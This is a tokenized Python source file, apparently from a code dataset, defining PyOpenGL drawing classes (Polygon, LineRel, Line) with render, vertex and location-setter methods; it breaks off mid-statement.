"if_", "self_", "._", "stroke_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "inner_", "=_", "self_", "._", "radius_", "-_", "self_", "._", "stroke_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "inner_", "<_", "0_", ":_", "inner_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "inner_", "=_", "0_", "#", " ", "full", ",", " ", "no", " ", "inner_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "start_", "-=_", "180_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "glu", "Quad", "ric", "Draw", "Style_", "(_", "self_", "._", "q_", ",_", "self_", "._", "style_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "glu", "Parti", "al", "Disk_", "(_", "self_", "._", "q_", ",_", "inner_", ",_", "self_", "._", "radius_", ",_", "self_", "._", "circle", "resolution_", ",_", "1_", ",_", "self_", "._", "start_", ",_", "self_", "._", "sweep_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "gl", "Pop", "Matrix_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Polygon_", "(_", "Base_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "x_", "=_", "property_", "(_", "Base_", "._", "get", "X_", ",_", "set", "X_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y_", "=_", "property_", "(_", "Base_", "._", "get", "Y_", ",_", "set", "Y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "loc_", "=_", "property_", "(_", "Base_", "._", "get", "Loc_", ",_", "set", "Loc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Polygon_", "(_", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "v_", ",_", "z_", "=_", "0_", ",_", "color_", "=_", "(_", "0_", ",_", "0_", ",_", "0_", ",_", "1_", ")_", ",_", "stroke_", "=_", "0_", ",_", "rotation_", "=_", "0.0_", ",_", "style_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "poly", "gon", " ", "class", "\\", "10", ";", " ", " ", " ", " ", "Polygon", "(", "vertex", "array", "=[", "(", "0", ",", " ", "0", "),", " ", "(", "2", "9", ",", " ", "100", "),", " ", "(", "30", ",", " ", "200", ")]", ",", " ", "z", "=", "100", ",", " ", "color", "=(", "0", ",", "0.", "3", ",", "0.", "1", ",", "1", "),", " ", "strok", "e", "=", "0", ",", " ", "rotati", "on", "=", "23", ")", "\\", "10", ";", " ", " ", " ", " ", "overwrit", "es", " ", "few", " ", "method", "s", " ", "from", " ", "superclass", " ", "as", " ", "polygons", " ", "are", " ", "more", " ", "complex", ",", " ", "need", "s", " ", "to", " ", "update", " ", "every", "vertex", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "v_", "=_", "v_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", ",_", "t_", ",_", "r_", ",_", "b_", "=_", "calc", "Polygon", "Rect_", "(_", "v_", ")_", "#", " ", "get", " ", "the", " ", "bound", "ing", " ", "rect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "rect_", "=_", "Rect_", "(_", "l_", "+_", "(_", "r_", "-_", "l_", ")_", "*_", "0.5_", ",_", "t_", "+_", "(_", "b_", "-_", "t_", ")_", "*_", "0.5_", ",_", "r_", "-_", "l_", ",_", "b_", "-_", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "v2_", "=_", "[_", "(_", "i_", "[_", "0_", "]_", "-_", "self_", "._", "rect_", "._", "x_", ",_", "i_", "[_", "1_", "]_", "-_", "self_", "._", "rect_", "._", "y_", ")_", "for_", "i_", "in_", "v_", "]_", "#", "relative", " ", "polygon_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "style_", "=_", "style_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Base_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "self_", "._", "rect_", "._", "x_", ",_", "self_", "._", "rect_", "._", "y_", ",_", "z_", ",_", "color_", ",_", "stroke_", ",_", "rotation_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Polygon_", "(_", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "update", "V_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "v_", "=_", "[_", "(_", "self_", "._", "rect_", "._", "x_", "+_", "n_", "[_", "0_", "]_", ",_", "self_", "._", "rect_", "._", "y_", "+_", "n_", "[_", "1_", "]_", ")_", "for_", "n_", "in_", "self_", "._", "v2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Polygon_", "(_", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set", "Loc_", "(_", "self_", ",_", "p_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "rect_", "._", "loc_", "=_", "p_", ";_", "self_", "._", "update", "V_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Polygon_", "(_", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set", "X_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "rect_", "._", "x_", "=_", "x_", ";_", "self_", "._", "update", "V_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Polygon_", "(_", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set", "Y_", "(_", "self_", ",_", "y_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "rect_", "._", "y_", "=_", "y_", ";_", "self_", "._", "update", "V_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Polygon_", "(_", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "render_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Draw", " ", "Polygon", "\\", "10", ";", " ", " ", " ", " ", "v", " ", "is", " ", "an", " ", "array", " ", "with", " ", "tuple", " ", "points", " ", "like", " ", "[(", "x", ",", " ", "y", "),", " ", "(", "x2", ",", " ", "y2", "),", " ", "(", "x3", ",", " ", "y", "3", ")]", "\\", "10", ";", " ", " ", " ", " ", "min", " ", "vertex", " ", "number", " ", "to", " ", "draw", " ", "a", " ", "poly", "gon", " ", "is", " ", "3", "\\", "10", ";", " ", " ", " ", " ", "strok", "e", "=", "0", " ", "to", " ", "fil", " ", "with", " ", "color", " ", "the", " ", "insi", "de", " ", "of", " ", "the", " ", "shape", " ", "or", " ", "strok", "e", "=", "N", " ", "just", " ", "to", " ", "draw", " ", "N", "-", "px", " ", "thick", " ", "outline", ".", "\\", "10", ";", " ", " ", " ", " ", "Not", "e", ".", " ", "It", " ", "doesnt", " ", "work", " ", "with", " ", "non", " ", "convex", " ", "polygons", ",", " ", "need", " ", "to", " ", "implement", " ", "tess", "ela", "tion", " ", "ye", "t", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", ",_", "t_", ",_", "r_", ",_", "b_", "=_", "calc", "Polygon", "Rect_", "(_", "self_", "._", "v_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", ",_", "y_", "=_", "calc", "Rect", "Center_", "(_", "l_", ",_", "t_", ",_", "r_", ",_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "draw", "Vertex_", "(_", "x_", ",_", "y_", ",_", "self_", "._", "z_", ",_", "[_", "(_", "i_", "[_", "0_", "]_", "-_", "x_", ",_", "i_", "[_", "1_", "]_", "-_", "y_", ")_", "for_", "i_", "in_", "self_", "._", "v_", "]_", ",_", "self_", "._", "color_", ",_", "self_", "._", "stroke_", ",_", "self_", "._", "rotation_", ",_", "self_", "._", "style_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Polygon_", "(_", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "draw", "Vertex_", "(_", "self_", ",_", "x_", ",_", "y_", ",_", "z_", "=_", "0_", ",_", "v_", "=_", "(_", ")_", ",_", "color_", "=_", "(_", "0_", ",_", "0_", ",_", "0_", ",_", "1_", ")_", ",_", "stroke_", "=_", "0_", ",_", "rotation_", "=_", "0.0_", ",_", "style_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gl", "Color", "4f", "_", "(_", "*_", "self_", "._", "color_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gl", "Push", "Matrix_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "gl", "Translate", "f_", "(_", "x_", ",_", "y_", ",_", "-_", "z_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gl", "Rotate", "f_", "(_", "self_", "._", "rotation_", ",_", "0_", ",_", "0_", ",_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "style_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gl", "Enable_", "(_", "GL", "\\u", "LINE", "\\u", "STI", "PP", "LE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gl", "Line", "Sti", "ppl", "e_", "(_", "1_", ",_", "style_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", " ", " ", " ", "else", " ", ":_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", " ", " ", " ", "gl", "Disa", "ble", "(", "GL", "\\u", "LINE", "\\u", "STI", "PP", "LE", ")_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", " ", " ", " ", "0xF0", "F0", " ", "#", " ", "dashed", " ", "line_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", " ", " ", " ", "0xF0", "0", "F", " ", "#", " ", "long", " ", "dashed", " ", "line_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", " ", " ", " ", "0x88", "88", " ", "#", " ", "dot", "ted", " ", "lines_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", " ", " ", " ", "gl", "Rect", "(", "x1", ",", "y", ",", "1", ",", "x1", ",", "x2", ")_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", " ", " ", " ", "gl", "Rect", "iv", "(", "v1", ",", "v2", ")", " ", "#", " ", "opo", "site", " ", "vertex", " ", "of", " ", "rectangle_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--", " ", "start", " ", "drawing_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "stroke_", ":_", "#", " ", "outline", "d", " ", "polygon_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gl", "Line", "Width_", "(_", "self_", "._", "stroke_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gl", "Begin_", "(_", "GL", "\\u", "LINE", "\\u", "LOOP", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "filled", " ", "polygon_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "v_", ")_", "==_", "4_", ":_", "gl", "Begin_", "(_", "GL", "\\u", "QUA", "DS_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "elif_", "len_", "(_", "v_", ")_", ">_", "4_", ":_", "gl", "Begin_", "(_", "GL", "\\u", "POLYGON", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "gl", "Begin_", "(_", "GL", "\\u", "TRIA", "NG", "LES", "_", ")_", "#", " ", "whi", "ch", " ", "type", " ", "of", " ", "poly", "gon", " ", "are", " ", "we", " ", "drawing", "?", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "p_", "in_", "v_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gl", "Vertex3f_", "(_", "p_", "[_", "0_", "]_", ",_", "p_", "[_", "1_", "]_", ",_", "0_", ")_", "#", " ", "draw", " ", "each", " ", "vertex_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "gl", "End_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "--", " ", "end", " ", "drawing_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "style_", ":_", "gl", "Disable_", "(_", "GL", "\\u", "LINE", "\\u", "STI", "PP", "LE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "gl", "Pop", "Matrix_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Line", "Rel", "_", "(_", "Base_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "x_", "=_", "property_", "(_", "Base_", "._", "get", "X_", ",_", "set", "X_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y_", "=_", "property_", "(_", "Base_", "._", "get", "Y_", ",_", "set", "Y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "loc_", "=_", "property_", "(_", "Base_", "._", "get", "Loc_", ",_", "set", "Loc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Line", "Rel", "_", "(_", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "x_", ",_", "y_", ",_", "a_", "=_", "(_", "0_", ",_", "0_", ")_", ",_", "b_", "=_", "(_", "0_", ",_", "0_", ")_", ",_", "z_", "=_", "0_", ",_", "color_", "=_", "(_", "0_", ",_", "0_", ",_", "0_", ",_", "1_", ")_", ",_", "stroke_", "=_", "0_", ",_", "rotation_", "=_", "0.0_", ",_", "style_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Draw", "s", " ", "a", " ", "basic", " ", "line", " ", "give", "n", " ", "the", " ", "begin", "ing", " ", "and", " ", "end", " ", "point", " ", "(", "tuple", "s", "),", " ", "color", " ", "(", "tuple", ")", " ", "and", " ", "strok", "e", "\\", "10", ";", " ", " ", " ", " ", "(", "thick", "ness", " ", "of", " ", "line", ")", "\\", "10", ";", " ", " ", " ", " ", "Line", "(", " ", "x", ",", "y", ",", " ", "a", "=(", "1", ",", "1", "),", " ", "b", "=(", "100", ",", "100", "),", " ", "z", "=", "0", ",", " ", "color", "=(", "0.", "2", ",", "0", ",", "0", ",", "1", "),", " ", "strok", "e", "=", "10", ",", " ", "rotati", "on", "=", "4", "5", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "w_", "=_", "(_", "b_", "[_", "0_", "]_", "-_", "a_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "h_", "=_", "(_", "b_", "[_", "1_", "]_", "-_", "a_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "abs_", "(_", "a_", "[_", "0_", "]_", "+_", "w_", "*_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y_", "=_", "abs_", "(_", "a_", "[_", "1_", "]_", "+_", "h_", "*_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "a2_", "=_", "abs_", "(_", "a_", "[_", "0_", "]_", ")_", "-_", "x_", ",_", "abs_", "(_", "a_", "[_", "1_", "]_", ")_", "-_", "y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "b2_", "=_", "abs_", "(_", "b_", "[_", "0_", "]_", ")_", "-_", "x_", ",_", "abs_", "(_", "b_", "[_", "1_", "]_", ")_", "-_", "y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "a_", "=_", "x_", "-_", "w_", "*_", "0.5_", ",_", "y_", "-_", "w_", "*_", "0.5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "b_", "=_", "x_", "+_", "w_", "*_", "0.5_", ",_", "y_", "+_", "w_", "*_", "0.5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "rect_", "=_", "Rect_", "(_", "x_", ",_", "y_", ",_", "w_", ",_", "h_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "style_", "=_", "style_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Base_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "x_", ",_", "y_", ",_", "z_", ",_", "color_", ",_", "stroke_", ",_", "rotation_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Line", "Rel", "_", "(_", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "render_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Draw", "s", " ", "Line", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p1_", "=_", "self_", "._", "a2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p2_", "=_", "self_", "._", "b2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gl", "Color", "4f", "_", "(_", "*_", "self_", "._", "color_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "color_", "=_", "(_", "GL", "float_", "*_", "4_", ")_", "(_", "*_", "self_", "._", "color_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "gl", "Push", "Matrix_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "gl", "Translate", "f_", "(_", "self_", "._", "x_", ",_", "self_", "._", "y_", ",_", "-_", "self_", "._", "z_", ")_", "#", " ", "translat", "e", " ", "to", " ", "GL", " ", "loc", " ", "ppi", "nt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gl", "Rotate", "f_", "(_", "self_", "._", "rotation_", ",_", "0_", ",_", "0_", ",_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "style_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gl", "Enable_", "(_", "GL", "\\u", "LINE", "\\u", "STI", "PP", "LE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gl", "Line", "Sti", "ppl", "e_", "(_", "1_", ",_", "self_", "._", "style_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", " ", " ", " ", "else", " ", ":_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", " ", " ", " ", "gl", "Disa", "ble", "(", "GL", "\\u", "LINE", "\\u", "STI", "PP", "LE", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "stroke_", "<=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "stroke_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "gl", "Line", "Width_", "(_", "self_", "._", "stroke_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "gl", "Begin_", "(_", "GL", "\\u", "LINES_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gl", "Vertex", "2i", "_", "(_", "int_", "(_", "p1_", "[_", "0_", "]_", ")_", ",_", "int_", "(_", "p1_", "[_", "1_", "]_", ")_", ")_", "#", " ", "draw", " ", "pixel", " ", "points_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gl", "Vertex", "2i", "_", "(_", "int_", "(_", "p2_", "[_", "0_", "]_", ")_", ",_", "int_", "(_", "p2_", "[_", "1_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gl", "End_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "style_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gl", "Disable_", "(_", "GL", "\\u", "LINE", "\\u", "STI", "PP", "LE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "gl", "Pop", "Matrix_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Line", "Rel", "_", "(_", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "update", "AB_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "a_", "=_", "self_", "._", "x_", "+_", "self_", "._", "a_", "[_", "0_", "]_", ",_", "self_", "._", "y_", "+_", "self_", "._", "a_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "b_", "=_", "self_", "._", "x_", "+_", "self_", "._", "b_", "[_", "0_", "]_", ",_", "self_", "._", "y_", "+_", "self_", "._", "b_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Line", "Rel", "_", "(_", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set", "Loc_", "(_", "self_", ",_", "p_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "rect_", "._", "loc_", "=_", "p_", ";_", "self_", "._", "update", "AB_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Line", "Rel", "_", "(_", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set", "X_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "rect_", "._", "x_", "=_", "x_", ";_", "self_", "._", "update", "AB_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Line", "Rel", "_", "(_", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set", "Y_", "(_", "self_", ",_", "y_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "rect_", "._", "y_", "=_", "y_", ";_", "self_", "._", "update", "AB_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Line_", "(_", "Line", "Rel", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Line_", "(_", "Line", "Rel", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "a_", "=_", "(_", "0_", ",_", "0_", ")_", ",_", "b_", "=_", "(_", "0_", ",_", "0_", ")_", ",_", "z_", "=_", "0_", ",_", "color_", "=_", "(_", "0_", ",_", "0_", ",_", "0_", ",_", "1_", ")_", ",_", "stroke_", "=_", "0_", ",_", "rotation_", "=_", "0.0_", ",_", "style_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Draw", "s", " ", "a", " ", "basic", " ", "line", " ", "give", "n", " ", "the", " ", "begin", "ing", " ", "and", " ", "end", " ", "point", " ", "(", "tuple", "s", "),", " ", "color", " ", "(", "tuple", ")", " ", "and", " ", "strok", "e", "\\", "10", ";", " ", " ", " ", " ", "(", "thick", "ness", " ", "of", " ", "line", ")", "\\", "10", ";", " ", " ", " ", " ", "Line", "(", " ", "a", "=(", "1", ",", "1", "),", " ", "b", "=(", "100", ",", "100", "),", " ", "z", "=", "20", ",", " ", "color", "=(", "0.", "2", ",", "0", ",", "0", ",", "1", "),", " ", "strok", "e", "=", "10", ",", " ", "rotati", "on", "=", "4", "5", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "w_", "=_", "(_", "b_", "[_", "0_", 